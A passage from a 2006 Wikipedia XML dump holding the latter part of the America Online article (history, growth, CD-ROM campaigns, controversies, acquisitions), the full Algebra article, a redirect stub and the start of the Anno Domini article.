Kimsey changed the company's strategy, and in 1985 launched a sort of mega-[[Bulletin board system|BBS]] for [[Commodore 64]] and [[Commodore 128|128]] computers, originally called [[Quantum Link]] (&quot;Q-Link&quot; for short). In May [[1988]], Quantum and Apple launched [[AppleLink]] Personal Edition for [[Apple II family|Apple II]] and [[Apple Macintosh|Macintosh]] computers. After the two companies parted ways in October [[1989]], Quantum changed the service's name to America Online. [http://www.thocp.net/timeline/1989.htm], [http://apple2history.org/history/ah22.html] &lt;!--both links retrieved Sep 24 2005--&gt; In August [[1988]], Quantum launched [[PC Link]], a service for IBM-compatible [[personal computer|PC]]s developed in a joint venture with the [[Tandy Corporation]].

In February 1991 AOL for [[DOS]] was launched using a [[GeoWorks]] interface followed a year later by AOL for Windows. In October [[1991]], Quantum changed its name to America Online. These changes coincided with growth in pay-based BBS services, like [[Prodigy (ISP)|Prodigy]], [[CompuServe]], and [[GEnie]]. AOL discontinued Q-Link and PC Link in the fall of 1994.
{| border=&quot;1&quot;
| colspan=&quot;2&quot; | '''AOL release timeline'''
|-
| 1991
| AOL for [[MS-DOS|DOS]] launched
|- 
| 1993
| AOL for [[Microsoft Windows|Windows]] launched
|- 
| 1994
| AOL 2.0 launched
|- 
| 1995
| AOL 3.0 launched
|- 
| 1998
| AOL 4.0 launched
|- 
| 1999
| AOL 5.0 launched
|- 
| 2000
| AOL 6.0 launched
|- 
| 2001
| AOL 7.0 launched
|- 
| 2002
| AOL 8.0 launched
|- 
| 2003
| AOL 9.0 Optimized launched
|- 
| 2004
| AOL 9.0 SE launched
|}

== Massive growth ==
Case drove AOL as the online service for people unfamiliar with [[computer|computers]], in particular contrast to [[CompuServe]], which had long served the technical community. AOL was the first online service to require use of [[proprietary]] software, rather than a standard terminal program; as a result it was able to offer a [[graphical user interface]] (GUI) instead of command lines, and was well ahead of the competition in emphasizing communication among members as a feature. 

In particular was the Chat Room (borrowed from IRC), which allowed a large group of people with similar interests to convene and hold conversations in real time, including:
*Private rooms &amp;mdash; created by any user.  Hold up to 27 people.
*Conference rooms &amp;mdash; created with permission of AOL.  Hold up to 48 people and often moderated. 
*Auditoriums &amp;mdash; created with permission of AOL.  Consisted of a stage and an unlimited number of rows.  What happened on the stage was viewable by everybody in the auditorium but what happened within individual rows, of up to 27 people, was viewable only by the people within those rows.
There were also text games played in the chat rooms, known as [[AOL chatroom game]].

Under Case's guidance, AOL committed to including [[online games]] in its mix of products even when it was only a Commodore 64 service.  It hosted the first [[Play-by-mail game|Play by email]] game from any service ''[[Quantum Space]]'' (1989-1991); the first graphical online community (''[[Habitat (video game)|Club Caribe]]'' from [[LucasArts]]); and the first graphical [[MMORPG]], ''[[Neverwinter Nights#History|Neverwinter Nights]]'' from [[Stormfront Studios]] (1991-1997) and the first chatroom-based text role-playing game Black Bayou, a horror role-playing game from Hecklers Online and [[ANTAGONIST, Inc.]]

AOL quickly surpassed [[GEnie]], and by the mid-[[1990s]], it passed [[Prodigy (ISP)|Prodigy]] (which for several years allowed AOL advertising) and [[CompuServe]].

Originally, AOL charged its users an hourly fee, but in 1996 this changed and a flat rate of $19.99 a month was charged. Within three years, AOL's userbase would grow to 10 million people. During this time, AOL connections would be flooded with users trying to get on, and many canceled their accounts due to constant busy signals. Also, games which used to be paid for with the hourly fee migrated in droves to the internet.

AOL was relatively late in providing access to the open Internet.  Originally, only some Internet features were accessible through a proprietary interface but eventually it became possible to run other Internet software while logged in through AOL.  They were the first online service to seamlessly integrate a web browser into content.

AOL introduced the concept of [[Buddy List]]s, leveraging their one-on-one [[instant messaging]] technology.

Since its merger with Time Warner, the value of AOL has dropped from its $200 billion high and it has seen a similar losses among its subscription rate. It has since attempted to reposition itself as a content provider similar to companies such as Yahoo! as opposed to an Internet service provider which delivered content only to subscribers in what was termed a &quot;walled garden.&quot;. In 2005, AOL broadcast the [[Live 8]] concert live over the Internet, and thousands of users downloaded clips of the concert over the following months. 

More recently, AOL has announced plans to offer subscribers classic television programs for free with commercials inserted.  Programs available include [[Wonder Woman (television series)|Wonder Woman]] and [[Eight is Enough]].

One of AOL's recently added premium services is AOL Total Talk, a VoiP Internet service.

== CD-ROM distribution ==
{{seealso|AOL disk collecting}}
AOL has tirelessly pushed itself through regularly mailing sign-up [[diskette]]s and [[CD-ROM]]s to over 100 million households, helping forge dominant growth. This campaign has been made particuarly effective by the way of these CDs offer free trials. In the early years of AOL's practice of offering free trials with CDs, the trials were usually only a few hours. The trial time has gradually increased, and now the CDs tend to offer a month's free trial.

However this long campaign has produced a backlash, including a program called [[No More AOL CDs]] that seeks to gather one million unwanted AOL CDs and dump them at AOL headquarters.  Other organizations have objected under both [[environmental]] and [[privacy]] grounds.  Environmentalists say that AOL's CDs are largely unwanted and result in massive non-biodegradable plastic waste.  However, AOL's mailings have never violated the law, and always interest some people.  AOL has also always provided means for people to remove themselves from AOL mailing lists, though No More AOL CDs has documented claims that these removal attempts are sometimes ineffective.  Others view [[AOL disk collecting|AOL disks]] as valuable [[collecting|collectible]] items due to the vast number of [[CD-ROM]] design variations.

== AOL users' reputation ==
People using AOL (often referred to as &quot;AOLers&quot;) have a reputation online for being excessively  [[Newbie|noobish]]&amp;mdash;ignorant of [[netiquette]]. This is in part due to the fact that AOL is aimed towards users who are new to the Internet. To a segment of the online population, an e-mail address ending in ''aol.com'' is a sign of ignorance, to be avoided at all costs.  Some web, game, and chat servers even go as far as to ban the AOL hostmask, preventing AOL users from logging on. Additionally, the EFNET [[IRC]] chat network banned all AOL users for a time.  However, this reputation doesn't stop ''aol.com'' addresses from being widely used, even in serious business contexts; it is still commonplace in advertisements in non-computer-related publications to see lines like &quot;See our website at '''www.whatever.com''', or e-mail us at '''whatever@aol.com,'''&quot; to the puzzlement of those who believe an address in the company's own domain would be more logical and professional. 

AOL further provoked disdain from other Internet users in 1994, when AOL began to provide access to the [[Usenet]] bulletin board system for its users. This led to a flood of relatively net-illiterate, commercial, young and immature users into what had previously been the almost exclusive domain of scientists, academics and technical personnel associated with universities and computer companies. The new AOL contingent immediately gained a reputation as pests in Usenet's numerous forums, making near-constant requests for pornography, bootlegged software and hacking information. (See: &quot;[[Me too]].&quot;)  In early [[2005]], AOL ceased providing newsgroup access, instead referring customers to the [[Google Groups]] site, stating &quot;Google does a very good job of hosting newsgroups and the typical AOL user probably doesn't use newsgroups that often.&quot;[http://www.theregister.co.uk/2005/01/25/aol_cutsoff_newsgroups/]

AOL e-mail accounts used to be only accessed using a nonstandard proprietary protocol not supported by other vendors' e-mail programs, compelling users, in the past, to use AOL's own mail program and be subject to its quirks and limitations. [[Claris Em@iler]] was the only third-party email software ever licenced to directly access AOL email until the recent opening of AOL to [[IMAP]] email access. One consequence of the past practice is that when people receive e-mails from AOL users, the address, not the name of the user, is displayed, since the user's real name is not added in the manner that most other mail programs do it. In instances where the AOL user has chosen an alphanumeric alias, eg: &quot;'''jwds75@aol.com'''&quot; rather than &quot;'''John Smith'''&quot;, the identity of the user is less clear to the recipient. Also in the past, users of the AOL client software were unable to click on hyperlinks in the text.  Many experienced Internet users remain unaware that these inherent limitations of the AOL software are not due to any possible lack of computer skills by AOL users.

In a different vein, AOL users also have a reputation in some online communities for disruptive activities. AOL makes use of aggressive [[web cache|web caching]] [[proxy server]]s that effectively makes it impossible for a website, such as a [[wiki]], to block an abusive user without excluding large segments of the entire AOL community. Combined with the fact that their free service offers make it all too easy to join, many [[Internet troll]]s take advantage of this and choose AOL as a preferred means of hiding their true identity, in a manner that is almost as effective as using an [[anonymous proxy]].  This has only served to further harm the reputation of AOL users as a whole and is a large part of why some places implement a policy of banning all AOL users.

==Controversies==
===Community Leaders===
Prior to the middle of 2005, AOL used volunteers called [[America Online Community Leaders Program|Community Leaders]], or CLs, to monitor chatrooms, message boards, and libraries. Some community leaders were recruited for content design and maintenance using a proprietary language and interface called [[RAINMAN]], although most content maintenance was performed by partner and internal employees. 

In 1999, Kelly Hallissey and Brian Williams, former Community Leaders and founders of an anti-AOL website  filed a [[class action lawsuit]] against AOL citing violations of U.S. labor laws in its usage of CLs. The [[Department of Labor]] investigated but came to no conclusions, closing their investigation in 2001.  In light of these events, AOL drastically began reducing the responsibilities and privileges of its volunteers in 2000.  The program was eventually ended on [[June 8]] [[2005]].  Current Community Leaders at the time were offered 12 months of credit on their accounts. Also for a time AOL had a bot named CATWATCH which would pop into user created private rooms where TOS violations MAY be occuring, and everyone in the room would be disconnected from AOL and get a TOS strike against their account.

===Billing disputes===
AOL has faced a number of lawsuits over claims that it has been slow to stop billing people after their accounts have been cancelled, either by the company or the user. In addition, AOL changed its method of calculating used minutes in response to a class action lawsuit. Previously, AOL would add fifteen seconds to the time a user was connected to the service and round up to the next whole minute (thus, a person who used the service for 11 minutes and 46 seconds would be charged for 13 minutes). AOL claimed this was to account for sign on/sign off time, but because this practice was not made known to its customers, the lawsuit won (some also pointed out that signing on and off did not always take 15 seconds, especially when connecting via another ISP). AOL disclosed its connection time calculation methods to all of its customers and credited them with extra free hours. In addition, the AOL software would notify the user of exactly how long they were connected and how many minutes they were being charged for.

===Account cancellation===
In response to approximately 300 consumer complaints, New York Attorney General [[Eliot Spitzer]]’s office began an inquiry of AOL’s customer service policies. The investigation revealed that the company had an elaborate system for rewarding employees who purported to retain or &quot;save&quot; subscribers who had called to cancel their Internet service. In many instances, such retention was done against subscribers’ wishes, or without their consent.

Under the system, consumer service personnel received bonuses worth tens of thousands of dollars if they could successfully dissuade or &quot;save&quot; half of the people who called to cancel service. For several years, AOL had instituted minimum retention or &quot;save&quot; percentages, which consumer representatives were expected to meet. These bonuses, and the minimum &quot;save&quot; rates accompanying them, had the effect of employees not honoring cancellations, or otherwise making cancellation unduly difficult for consumers.

Many consumers complained that AOL personnel ignored their demands to cancel service and stop billing.

On August 24, 2005, America Online agreed to pay $1.25 million to the state of New York and reformed its 
customer service procedures.  Under the agreement, AOL will no longer require its customer 
service representatives to meet a minimum quota for customer retention in order to receive a bonus.

===Software===
In 2000, AOL was served with an $8 billion lawsuit alleging that its (now dated) AOL 5.0 software caused significant difficulties for users attempting to use third-party Internet service providers. The lawsuit sought damages of up to $1000 for each user that had downloaded the software cited at the time of the lawsuit. AOL later agreed to a settlement of $15 million, without admission of wrongdoing. 

=== Usenet newsgroups ===
When AOL gave clients access to [[Usenet]] in 1994, they hid at least one newsgroup in standard list view: ''alt.aol-sucks''.  AOL did list the newsgroup in the alternative description view, but changed the description to &quot;Flames and complaints about America Online&quot;.

=== Terms of Service (TOS) ===
There have been many complaints over rules that govern AOL's members conduct, call the Terms Of Service, which apply/applied to everyone who used AOL, regardless of age, or where an AOL member is on the internet. Claims are that these rules are too strict to follow, do not allow swearing, or a very flexible rule called room disruption.

== Company purchases ==
As it grew, AOL purchased many other software companies, including: 

*[[BookLink]] bought in December 1994.  
*[[NaviSoft]]'s [[NaviServer]] (later to become [[AOLserver]]) in 1994.
*[[ImagiNation Network|ImagiNation Network (I.N.N.)]] from [[AT&amp;T]] in 1996.
*[[CompuServe]] in February 1998.
*[[Mirabilis (company)|Mirabilis]] (maker of [[ICQ]]) in 1998.
*PLS text-search software in 1998, 
*[[Nullsoft]] (maker of [[Winamp]]), in 1999 for $86 million
*[[Netscape Communications Corporation|Netscape]], in 1999 for $4.2 billion.
*[[Mapquest]] in 1999.
*[[Tegic]] in December 1999.
*[[Singingfish]] search engine, November 2003.
*[http://advertising.com Advertising.com], an Internet advertising agency, in June 2004.
*[http://mailblocks.com MailBlocks], a personal, Web-based email service, in August 2004.
*[http://wildseed.com Wildseed], a privately held mobile software vendor, in August 2005.
*[http://xdrive.com Xdrive], a leading provider of online storage and file sharing services, also in August 2005.
*[[Weblogs, Inc.]], a blogging network that runs such sites as [[Engadget]], [[Autoblog]], [[Cinematical]] and [[TVSquad]], in October 2005, for $30 million.
*[[Truveo, Inc.]], a leading video search company, in December 2005, for an undisclosed value.

==Notable persons associated with AOL==
*[[Jim Kimsey]] (former CEO and board chairman)
*[[Steve Case]] (former CEO and board chairman)
*[[Jan Brandt]] (former President of Marketing)
*[[Justin Frankel]] (Nullsoft founder)
*[[Ted Leonsis]] (Vice-Chairman, President AOL Audience Group)
*[[Michael Powell]] (during merging with [[Time Warner]])
*[[Marc Andreessen]] (Netscape co-founder)
*[[Jason Smathers]] (former AOL employee convicted of stealing the Internet provider's entire subscriber list -- over 30 million consumers, and their 90 million screen names -- and selling it to a known spammer.)
*[[Jason Calacanis]] (Co-founder of Weblogs, Inc.)
==AOL Computer Checkup==
AOL Computer Checkup is a service offered by AOL to AOL members. It is a performance and hardware analyzer, not unlike the scans in [[Norton Utilities]].
==McAfee==
AOL also included McAfee VirusScan and McAfee Firewall Express in some versions

==See also==
* [[AOHell]]
* [[AOHack programs]]
* [[Sessions@AOL]]
* [[AOL Browser]]
* [[GAMEY]]
* [[Ursine:AOL|AOL]] from [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]].
* [[Ursine:AOL!|AOL!]] from [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]].

==References==
*Klein, Alec (2003). ''Stealing Time: Steve Case, Jerry Levin, and the Collapse of AOL Time Warner''. Simon &amp; Schuster. ISBN 0-7432-5984-X.
*Mehta, Stephanie N. &amp; Vogelstein, Fred (Nov. 14, 2005). &quot;AOL: The Relaunch&quot;. ''[[Fortune (magazine)|Fortune]]'', p. 84&amp;ndash;88.

==External links==
*[http://www.aol.com/ AOL US]
*[http://www.aol.com.br AOL Brasil]
*[http://aol.ca AOL Canada]
*[http://aol.de AOL Germany]
*[http://aol.fr AOL France]
*[http://www.aol.com.mx/ AOL México]
*[http://aol.co.uk AOL UK]
*[http://www.jp.aol.com AOL Japan]
*[http://iml.jou.ufl.edu/projects/Fall2000/McAtee/ AOL: A History]
*[http://staff.jccc.net/lcline/index.htm AOL Disk Collection]
*[http://www.jmusheneaux.com/8000c.htm Important Dates &amp; A Look at AOL's Evolving Interface]
*[http://www.nomoreaolcds.com/ The &quot;No More AOL CDs&quot; campaign]
*[http://groups.google.com/group/alt.aol-sucks alt.aol-sucks: Anti-AOL Usenet group (via Google)]
*[http://archives.cnn.com/2000/TECH/computing/02/02/aol.lawsuit.02/ CNN.com] Disgruntled AOL 5.0 users seek up to $8 billion in damages
*[http://www.latimes.com/business/la-fi-golden27feb27,0,4045957.column?coll=la-home-business/ AOL fraud]
{{Time Warner}}

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  </page>
  <page>
    <title>Algebra</title>
    <id>1398</id>
    <revision>
      <id>42045821</id>
      <timestamp>2006-03-03T12:35:31Z</timestamp>
      <contributor>
        <username>Nikai</username>
        <id>9759</id>
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      <comment>/* History */ sp</comment>
      <text xml:space="preserve">{{Current-Math-COTW}}
:''This article is about the branch of mathematics. For other uses of the term see [[algebra (disambiguation)]].''

'''Algebra''' ([[Arabic language|Arabic]]: الجبر, ''al-jabr'') is a branch of [[mathematics]] which studies [[structure]] and [[quantity]]. [[Elementary algebra]] is often taught in high school and gives an introduction into the basic ideas of algebra: studying what happens when one adds and multiplies numbers and how one can make [[polynomial]]s and find their roots. 

Algebra is much broader than [[arithmetic]] and can be generalized. Rather than working on numbers, one can work over [[symbols]] or [[element (mathematics)|elements]]. Addition and multiplication are viewed as general [[operator|operations]], and their precise definitions lead to structures called [[group (mathematics)|groups]], [[ring (mathematics)|rings]] and [[field (mathematics)|fields]]. 

Together with [[geometry]] and [[mathematical analysis|analysis]], algebra is one of the three main branches of mathematics. 

==Classification==
Algebra may be roughly divided into the following categories:
* '''[[elementary algebra]]''', in which the properties of operations on the [[real number|real number system]] are recorded using symbols as &quot;place holders&quot; to denote [[mathematical constant|constants]] and [[variable]]s, and the rules governing [[mathematical expression]]s and [[equation]]s involving these symbols are studied (note that this usually includes the subject matter of courses called ''intermediate algebra'' and ''college algebra'');
* '''[[abstract algebra]]''', sometimes also called ''modern algebra'', in which [[algebraic structure]]s such as [[group (mathematics)|groups]], [[ring (mathematics)|rings]] and [[field (mathematics)|field]]s are [[axiomatization|axiomatically]] defined and investigated;
* '''[[linear algebra]]''', in which the specific properties of [[vector space]]s are studied (including [[matrix (mathematics)|matrices]]);
* '''[[universal algebra]]''', in which properties common to all algebraic structures are studied.

In advanced studies, axiomatic algebraic systems like groups, rings, fields, and algebras over a field are investigated in the presence of a natural [[geometry|geometric]] structure (a [[topology]]) which is compatible with the algebraic structure. The list includes: 

* [[Normed linear space]]s
* [[Banach space]]s 
* [[Hilbert space]]s
* [[Banach algebra]]s
* [[Normed algebra]]s
* [[Topological algebra]]s
* [[Topological group]]s

==Elementary algebra==

'''Elementary algebra''' is the most basic form of [[algebra]] taught to students who are presumed to have no knowledge of [[mathematics]] beyond the basic principles of [[arithmetic]]. While in arithmetic only [[number]]s and their arithmetical operations (such as +, &amp;minus;, &amp;times;, ÷) occur, in algebra one also uses symbols (such as ''a'', ''x'', ''y'') to denote numbers. This is useful because:
* It allows the general formulation of arithmetical laws (such as &lt;math&gt;a + b = b + a&lt;/math&gt; for all ''a'' and ''b''), and thus is the first step to a systematic exploration of the properties of the [[real number|real number system]].
* It allows the reference to &quot;unknown&quot; numbers, the formulation of [[equation]]s and the study of how to solve these (for instance &quot;find a number ''x'' such that &lt;math&gt;3x + 1 = 10&lt;/math&gt;).
* It allows the formulation of [[function (mathematics)|function]]al relationships (such as &quot;if you sell ''x'' tickets, then your profit will be &lt;math&gt;3x - 10&lt;/math&gt; dollars&quot;).

==Abstract algebra==
:''Main article: [[Abstract algebra]]; see also [[algebraic structures]]''.
'''Abstract algebra''' extends the familiar concepts found in elementary algebra and [[arithmetic]] of [[numbers]] to more general concepts.

'''[[Set]]s''': Rather than just considering the different types of [[number]]s, abstract algebra deals with the more general concept of ''sets'': a collection of objects called [[elements]]. All the familiar types of numbers are sets. Other examples of sets include the set of all two by two [[Matrix (mathematics)|matrices]], the set of all second degree [[polynomials]] (''ax''&lt;sup&gt;2&lt;/sup&gt;+''bx''+''c''), the set of all two dimensional [[vectors]] in the plane, and the various [[finite groups]] such as the [[cyclic group]]s which are the group of integers modulo ''n''. [[Set theory]] is a branch of [[logic]] and not technically a branch of algebra.

'''[[Binary operation]]s''': The notion of [[addition]] (+) is abstracted to give a ''binary operation'', * say. For two elements ''a'' and ''b'' in a set ''S'' ''a''*''b'' gives another element in the set, (technically this condition is called [[Closure (mathematics)|closure]]). [[Addition]] (+), [[subtraction]] (-), [[multiplication]] (&amp;times;), and [[division]] (&amp;divide;) are all binary operations as in addition and multiplication of matrices, vectors, and polynomials.

'''[[Identity element]]s''': Zero and one are abstracted to give the notion of an ''identity element''. Zero is the identity element for addition and one is the identity element for multiplication. For a general binary operator * the identity element ''e'' must satisfy ''a''*''e''=''a'' and ''e''*''a''=''a''. This holds for addition as ''a''+0=''a'', and 0+''a''=''a'' and multiplication ''a''&amp;times;''1''=''a'', 1&amp;times;''a''=''a''. However, if we take the positive natural numbers and addition, there is no identity element.

'''[[Inverse elements]]''': The negative numbers gives rise to the concept of an ''inverse elements''. For addition the inverse of ''a'' is ''-a'', and for multiplication the inverse is &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;''a''&lt;/sub&gt;. A general inverse element ''a''&lt;sup&gt;-1&lt;/sup&gt; must satisfy the property that ''a''*''a''&lt;sup&gt;-1&lt;/sup&gt;=''e'' and ''a''&lt;sup&gt;-1&lt;/sup&gt;*''a''=''e''.

'''[[Associativity]]''': The integers with addition have a property called associativity: (2+3)+4=2+(3+4). In general this becomes (''a''+''b'')+''c''=''a''+(''b''+''c''). This property is shared by most binary operations, but not subtraction or division.

'''[[Commutative operation|Commutativity]]''': The integers with addition also have a property called commutativity: 2+3=3+2. In general this becomes ''a''+''b''=''b''+''a''. Only some binary operations have this property, it holds for the integers with addition and multiplication, but it does not hold for [[matrix multiplication]].

===Groups===
:''Main article: [[group (mathematics)|group]]; see also [[group theory]], [[examples of groups]]''
Combining the above concepts gives one of the most important structures in mathematics: a '''[[group (mathematics)|group]]'''. A group consists of:
*a set ''S'' of elements,
*a(closed) binary operation (*)
*an identity element exists,
*every element has an inverse,
*the operation is associative.

If commutativity is included as well then we obtain an [[Abelian group]].

For example, the set of integers under the operation of addition is a group.  In this group, the identity element is 0 and the inverse of any element ''a'' is its negation, -''a''.  The associativity requirement is met since for any integers ''a'', ''b'' and ''c'', &lt;math&gt;(a+b)+c = a+(b+c)&lt;/math&gt;.

The non-zero [[rational number]]s form a group under multiplication.  Here, the identity element is 1, since &lt;math&gt;1 \cdot a = a \cdot 1 = a&lt;/math&gt; for any any rational number ''a''.  The inverse of ''a'' is &lt;math&gt;\frac{1}{a}&lt;/math&gt;, since &lt;math&gt;a \cdot {1 \over a}=1&lt;/math&gt;.

The integers under the multiplication operation, however, do not form a group.  This is because, in general, the multiplicative inverse of an integer is not an integer.  For example, 4 is an integer, but its multiplicative inverse is &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;4&lt;/sub&gt;, which is not an integer.

The theory of groups is studied in [[group theory]]. A major result in this theory is the [[Classification of finite simple groups]] a vast body of work which classified all the is a vast body of work, mostly published between around [[1955]] and [[1983]], which is thought to classify all of the [[finite set|finite]] [[simple group]]s.

{|class=&quot;wikitable&quot;
|-
|colspan=11|Examples of groups 
|-
!Set:
|colspan=2|[[Natural numbers]] &lt;math&gt;\mathbb{N}&lt;/math&gt;
|colspan=2|[[Integers]] &lt;math&gt;\mathbb{Z}&lt;/math&gt;
|colspan=4|[[Rational numbers]] &lt;math&gt;\mathbb{Q}&lt;/math&gt; (also [[Real numbers|real]] &lt;math&gt;\mathbb{R}&lt;/math&gt; and [[Complex numbers|complex]] &lt;math&gt;\mathbb{C}&lt;/math&gt; numbers)
|Integers mod 3: {0,1,2}
|-
!operation
| + (including zero)
| &amp;times; (excluding zero)
| +
| &amp;times; (excluding zero)
| +
| &amp;minus;
| &amp;times; (excluding zero)
| &amp;divide; (excluding zero)
| +
|-
!Closed
|Yes
|Yes
|Yes
|Yes
|Yes
|Yes
|Yes
|Yes
|Yes
|-
|identity
|0
|1
|0
|1
|0
|NA
|1
|NA
|0
|-
|inverse
|NA
|NA
| -1
|NA
| -1
|NA
|&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;''a''&lt;/sub&gt;
|NA
|0,2,1 receptively
|-
|Associative
|Yes
|Yes
|Yes
|Yes
|Yes
|No
|Yes
|No
|Yes
|-
|Commutative
|Yes
|Yes
|Yes
|Yes
|Yes
|No
|Yes
|No
|Yes
|-
|Structure
|[[Magma (algebra)|semigroup]]
|[[quasigroup]]
|Abelian group
|[[Monoid]]
|Abelian group
|[[quasigroup]]
|Abelian group
|[[quasigroup]]
|Abelian group
|}


Many other types of algebraic structures exist.  Among the most common are [[Ring_(mathematics)|rings]], [[Field_(mathematics)|fields]], and [[Monoid|monoids]].  These different structures can be used to model different types of mathematical objects.  Different algebraic structures are often related.  For example, a group is a specific kind of monoid, and rings and fields are similar to groups, but with more operations.

== Algebras ==
The word '''''algebra''''' is also used for various [[algebraic structures]]:
* [[algebra over a field]]
* [[algebra over a set]]
* [[Boolean algebra]]
* [[sigma-algebra]]
* [[F-algebra]] and [[F-coalgebra]] in [[category theory]]

==History==
[[Image:Euklid2.jpg|thumb|175px|Hellenistic mathematician [[Euclid]] details [[geometric]]al algebra in ''[[Euclid's Elements|Elements]]''.]]

The origins of algebra can be traced to the ancient [[Egyptian mathematics|Egyptians]] and [[Babylonian mathematics|Babylonians]], who used an early type of algebra to solve [[linear equation|linear]], [[quadratic equation|quadratic]], and [[indeterminate (variable)|indeterminate]] equations more than 3,000 years ago. By contrast, most [[Indian mathematics|Indian]] and [[Greek mathematics|Greek]] mathematicians in the [[1st millennium BC]] usually solved such equations by [[geometry|geometric]] methods.

*Circa [[100 BC]]: [[Algebraic equations]] are treated in the [[Chinese mathematics]] book ''[[Jiuzhang suanshu]]'' (''[[The Nine Chapters on the Mathematical Art]]'').
*Circa [[100 BC]]: The ''[[Indian mathematics#Bakhshali Manuscript .28200_BC - 400 CE.29|Bakhshali Manuscript]]'' in [[ancient India]] contains algebraic solutions of [[linear equations]] with upto five unknowns, the general algebraic formula for the quadratic equation, quadratic indeterminate equations, and [[simultaneous equations]].
*Circa [[150|150 AD]]: [[Hellenized]] [[Egyptian]] mathematician [[Hero of Alexandria]], treats algebraic equations in three volumes of mathematics.
*Circa [[200]]: Hellenized [[Babylonian]] mathematician [[Diophantus]], who lived in Egypt and is often considered as the &quot;father of algebra&quot;, writes his famous ''[[Arithmetica]]'', a work featuring solutions of algebraic equations and on the theory of numbers.
*[[499]]: Indian mathematician [[Aryabhata]], obtains whole number solutions to linear equations by a method equivalent to the modern one.
*[[628]]: Indian mathematician [[Brahmagupta]], invents the method of solving indeterminate equations of the second degree, gives rules for solving linear and quadratic equations, and discovers negative solutions for the [[quadratic equation]]. [[Indian mathematicians]] at the time recognized that [[quadratic equation]]s have two [[root]]s, and included [[Negative and non-negative numbers|negative]] as well as [[irrational number|irrational]] roots.
*[[820]]: The word ''algebra'' is derived from operations described in the treatise first written by [[Persian people|Persian]] [[Islamic mathematics|mathematician]] [[Al-Khwarizmi]] titled: ''[[Al-Jabr wa-al-Muqabilah]]'' meaning ''The book of summary concerning calculating by transposition and reduction''. The word ''al-jabr'' means  ''&quot;reunion&quot;''. Al-Khwarizmi is often considered as the &quot;father of modern algebra&quot;, much of whose works on reduction was included in the book and added to many methods we have in algebra now.
*Circa [[1000]]: [[Abu Bakr al-Karaji]], in his treatise ''al-Fakhri'', extends Al-Khwarizmi's methodology to incorporate integral powers and integral roots of unknown quantities.
*[[1114]]: Indian mathematician [[Bhaskara II]], who wrote the text ''Bijaganita'' (''Algebra''), recognizes that a positive number has two [[square root]]s, and also solves quadratic indeterminate equations and quadratic equations with more than one unknown.
*[[1202]]: Algebra is introduced to [[Europe]] largely through the work of [[Leonardo Fibonacci]] of [[Pisa]] in his work ''[[Liber Abaci]]'' .

==References==
*Ziauddin Sardar, Jerry Ravetz, and Borin Van Loon, ''Introducing Mathematics'' (Totem Books, 1999). 
*Donald R. Hill, ''Islamic Science and Engineering'' (Edinburgh University Press, 1994).
*George Gheverghese Joseph, ''The Crest of the Peacock : The Non-European Roots of Mathematics'' (Princeton University Press, 2000).

==See also==
{{book}}
* [[Fundamental theorem of algebra]] (which is really a theorem of [[mathematical analysis]], not of algebra)
* [[Diophantus]], &quot;father of algebra&quot;
* Mohammed [[al-Khwarizmi]], also known as &quot;father of modern algebra&quot;. [http://www.math.umd.edu/~czorn/hist_algebra.pdf]
* [[Computer algebra system]]

==External links==
*[http://www.mathleague.com/help/algebra/algebra.htm Explanation of Basic Topics]
*[http://www.sparknotes.com/math/#algebra1 Sparknotes' Review of Algebra I and II]
*[http://www.jamesbrennan.org/algebra/ ''Understanding Algebra.''] An online algebra text by James W. Brennan.
*[http://www.phy6.org/stargaze/Salgeb1.htm Algebra--the basic ideas] &amp;nbsp; &amp;nbsp; First of 6 parts in a short course on basic algebra at the high school level.
* [http://www.ucs.louisiana.edu/~sxw8045/history.htm Highlights in the history of algebra]
* [http://www.exampleproblems.com ExampleProblems.com] Example problems and solutions from [http://www.exampleproblems.com/wiki/index.php/Algebra basic] and [http://www.exampleproblems.com/wiki/index.php/Abstract_Algebra abstract] algebra.

[[Category:Algebra]]
[[Category:Arabic words]]

[[af:Algebra]]
[[ar:جبر]]
[[ast:Álxebra]]
[[bg:Алгебра]]
[[bn:বীজগণিত]]
[[ca:Àlgebra]]
[[co:Algebra]]
[[cs:Algebra]]
[[cy:Algebra]]
[[da:Algebra]]
[[de:Algebra]]
[[et:Algebra]]
[[es:Álgebra]]
[[eo:Algebro]]
[[fa:جبر]]
[[fr:Algèbre]]
[[ko:대수학]]
[[io:Algebro]]
[[id:Aljabar]]
[[is:Algebra]]
[[it:Algebra]]
[[he:אלגברה]]
[[la:Algebra]]
[[lt:Algebra]]
[[mk:Алгебра]]
[[ms:Algebra]]
[[nl:Algebra]]
[[ja:代数学]]
[[no:Algebra]]
[[pl:Algebra]]
[[pt:Álgebra]]
[[ru:Алгебра]]
[[sco:Algebra]]
[[simple:Algebra]]
[[sk:Algebra]]
[[sr:Алгебра]]
[[fi:Algebra]]
[[sv:Algebra]]
[[tl:Aldyebra]]
[[vi:Đại số]]
[[tr:Cebir]]
[[uk:Алгебра]]
[[zh:代数]]</text>
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      <text xml:space="preserve">#REDIRECT [[Attention-deficit hyperactivity disorder]]</text>
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  <page>
    <title>Anno Domini</title>
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      <text xml:space="preserve">{{redirect|AD}}

'''Anno Domini''' (&quot;In the Year of the Lord&quot;), abbreviated as '''AD''' or '''A.D.''' defines an [[epoch]] based on the traditionally-reckoned year of the birth (or actually [[Incarnation#Christianity|Incarnation]]) of [[Jesus|Jesus of Nazareth]].

This is the designation used to number years in the '''Christian Era''', conventionally used with the [[Julian calendar|Julian]] and [[Gregorian calendar]]s. &lt;br&gt; &quot;Before Christ&quot;, abbreviated as '''BC''' or '''B.C.''' is now usually used to denote years before Anno Domini years in [[English language]]. &lt;br&gt; More extensive, the years may be also designed by ''Anno Domini Nostri Iesu Christi,'' in English translation from [[Latin]]: &quot;In the Year of Our Lord Jesus Christ&quot;. 

This Christian era is currently dominant all around the world in both commercial and scientific use. &lt;br&gt; Presently, it is the common, international standard, recognised by international institutions such as the [[United Nations]] and the [[Universal Postal Union]]. &lt;br&gt; This is due both to the [[tradition]] and to the fact that the solar [[Gregorian calendar]] has long time been considered to be astronomically correct.{{Ref|gregorian}}

The English usage adheres to the traditional practice of placing the abbreviation before the year, as in Latin (e.g., 64 BC, but AD 2001).

[[image:scriptorium.jpg|frame|[[Dionysius Exiguus]] invented ''Anno Domini'' years to [[computus|date Easter]].]]

== Synonyms ==
=== Common Era ===
